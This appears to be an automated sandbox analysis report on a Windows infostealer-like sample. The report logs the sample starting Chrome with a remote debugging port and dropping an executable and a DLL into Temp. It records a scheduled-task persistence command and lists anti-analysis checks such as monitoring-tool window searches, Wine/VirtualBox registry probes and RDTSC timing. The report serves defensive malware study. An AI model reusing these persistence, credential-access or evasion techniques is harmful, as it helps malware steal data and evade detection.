Source: chrome.exe, 00000003.00000002.2398960073.00000180028F8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 36%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2000,i,3855741216998469249,4112657617320964053,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6592 -s 932
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2000,i,3855741216998469249,4112657617320964053,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: file.exe Static file information: File size 4384256 > 1048576
Source: file.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x277800
Source: file.exe Static PE information: Raw size of pcnvptyg is bigger than: 0x100000 < 0x1b3400
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00168230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 7_2_00168230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: file.exe Static PE information: real checksum: 0x4315e5 should be: 0x4383af
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: pcnvptyg
Source: file.exe Static PE information: section name: tgxkadws
Source: file.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: unmYCIPOHmXNjqOesrEy.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_0016A499 push es; iretd 7_2_0016A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C200C30 push eax; mov dword ptr [esp], edi 7_2_6C200DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1CED10 push eax; mov dword ptr [esp], ebx 7_2_6C1CEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A4E31 push eax; mov dword ptr [esp], ebx 7_2_6C1A4E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C198E7A push edx; mov dword ptr [esp], ebx 7_2_6C198E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19A947 push eax; mov dword ptr [esp], ebx 7_2_6C19A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1CEAB0 push eax; mov dword ptr [esp], ebx 7_2_6C1CEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A2AAC push edx; mov dword ptr [esp], ebx 7_2_6C1A2AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A0AA2 push eax; mov dword ptr [esp], ebx 7_2_6C1A0AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1B8AA0 push eax; mov dword ptr [esp], ebx 7_2_6C1B909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D2BF0 push eax; mov dword ptr [esp], ebx 7_2_6C1D2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D2BF0 push edx; mov dword ptr [esp], ebx 7_2_6C1D2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C198435 push edx; mov dword ptr [esp], ebx 7_2_6C198449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1B8460 push eax; mov dword ptr [esp], ebx 7_2_6C1B8A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19048B push eax; mov dword ptr [esp], ebx 7_2_6C1904A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1904E0 push eax; mov dword ptr [esp], ebx 7_2_6C1906DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C171CFA push eax; mov dword ptr [esp], ebx 7_2_6C226622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C171CFA push eax; mov dword ptr [esp], ebx 7_2_6C226622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19A5A7 push eax; mov dword ptr [esp], ebx 7_2_6C19A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D2620 push eax; mov dword ptr [esp], ebx 7_2_6C1D2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1D2620 push edx; mov dword ptr [esp], ebx 7_2_6C1D2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1E06B0 push eax; mov dword ptr [esp], ebx 7_2_6C1E0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1906A2 push eax; mov dword ptr [esp], ebx 7_2_6C1906DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A86A1 push 890005EAh; ret 7_2_6C1A86A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1906A6 push eax; mov dword ptr [esp], ebx 7_2_6C1906DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1906FD push eax; mov dword ptr [esp], ebx 7_2_6C1906DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1966F3 push edx; mov dword ptr [esp], ebx 7_2_6C196707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19070E push eax; mov dword ptr [esp], ebx 7_2_6C1906DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19A777 push eax; mov dword ptr [esp], ebx 7_2_6C19A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1A0042 push eax; mov dword ptr [esp], ebx 7_2_6C1A0056
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C16E0D0 push eax; mov dword ptr [esp], ebx 7_2_6C226AF6
Source: file.exe Static PE information: section name: pcnvptyg entropy: 7.954657569016908
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A95488 second address: A94CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 clc 0x0000000a push dword ptr [ebp+122D0259h] 0x00000010 jmp 00007F51EC503020h 0x00000015 call dword ptr [ebp+122D2461h] 0x0000001b pushad 0x0000001c jnc 00007F51EC503026h 0x00000022 xor eax, eax 0x00000024 mov dword ptr [ebp+122D3A71h], ebx 0x0000002a sub dword ptr [ebp+122D3A71h], edi 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jmp 00007F51EC503025h 0x00000039 mov dword ptr [ebp+122D2CCCh], eax 0x0000003f pushad 0x00000040 mov dword ptr [ebp+122D3A71h], eax 0x00000046 mov ebx, dword ptr [ebp+122D2AA8h] 0x0000004c popad 0x0000004d mov esi, 0000003Ch 0x00000052 sub dword ptr [ebp+122D3A71h], ecx 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c add dword ptr [ebp+122D26C2h], eax 0x00000062 pushad 0x00000063 or edi, 7706C8ADh 0x00000069 movzx edx, si 0x0000006c popad 0x0000006d lodsw 0x0000006f jmp 00007F51EC503023h 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 jbe 00007F51EC50302Fh 0x0000007e jmp 00007F51EC503029h 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 pushad 0x00000088 mov di, ax 0x0000008b push ebx 0x0000008c jmp 00007F51EC503025h 0x00000091 pop ecx 0x00000092 popad 0x00000093 push eax 0x00000094 push eax 0x00000095 push edx 0x00000096 push eax 0x00000097 pushad 0x00000098 popad 0x00000099 pop eax 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94CB5 second address: A94CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94CBB second address: A94CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C063FD second address: C06401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C06570 second address: C0657F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 jg 00007F51EC50301Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0657F second address: C0659C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F51EC518D16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0659C second address: C065A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F51EC503016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C065A9 second address: C065AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C06CA4 second address: C06CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0919F second address: C091A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0939E second address: C0944E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F51EC503024h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 2D6BA851h 0x00000012 push esi 0x00000013 mov ecx, dword ptr [ebp+122D2CC4h] 0x00000019 pop edi 0x0000001a push 00000003h 0x0000001c mov cx, ax 0x0000001f add edx, 37D34AC9h 0x00000025 push 00000000h 0x00000027 sub dword ptr [ebp+122D23B2h], eax 0x0000002d push 00000003h 0x0000002f push B36DADB9h 0x00000034 jmp 00007F51EC503022h 0x00000039 add dword ptr [esp], 0C925247h 0x00000040 sub ch, 0000002Eh 0x00000043 lea ebx, dword ptr [ebp+124480D3h] 0x00000049 push 00000000h 0x0000004b push ebx 0x0000004c call 00007F51EC503018h 0x00000051 pop ebx 0x00000052 mov dword ptr [esp+04h], ebx 0x00000056 add dword ptr [esp+04h], 0000001Ch 0x0000005e inc ebx 0x0000005f push ebx 0x00000060 ret 0x00000061 pop ebx 0x00000062 ret 0x00000063 mov edi, dword ptr [ebp+122D2AB0h] 0x00000069 mov dl, 65h 0x0000006b xchg eax, ebx 0x0000006c jnl 00007F51EC503024h 0x00000072 push eax 0x00000073 jng 00007F51EC503024h 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0944E second address: C09454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C09505 second address: C09509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C09509 second address: C0950F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C0950F second address: C09515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C09515 second address: C09519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2A261 second address: C2A265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2A265 second address: C2A27E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F51EC518D13h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C280AF second address: C280C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C281E4 second address: C281EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C284CD second address: C284D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C28D35 second address: C28D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F51EC518D06h 0x0000000d jmp 00007F51EC518D19h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C28D5B second address: C28D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C29022 second address: C2902A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C2902A second address: C2902E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
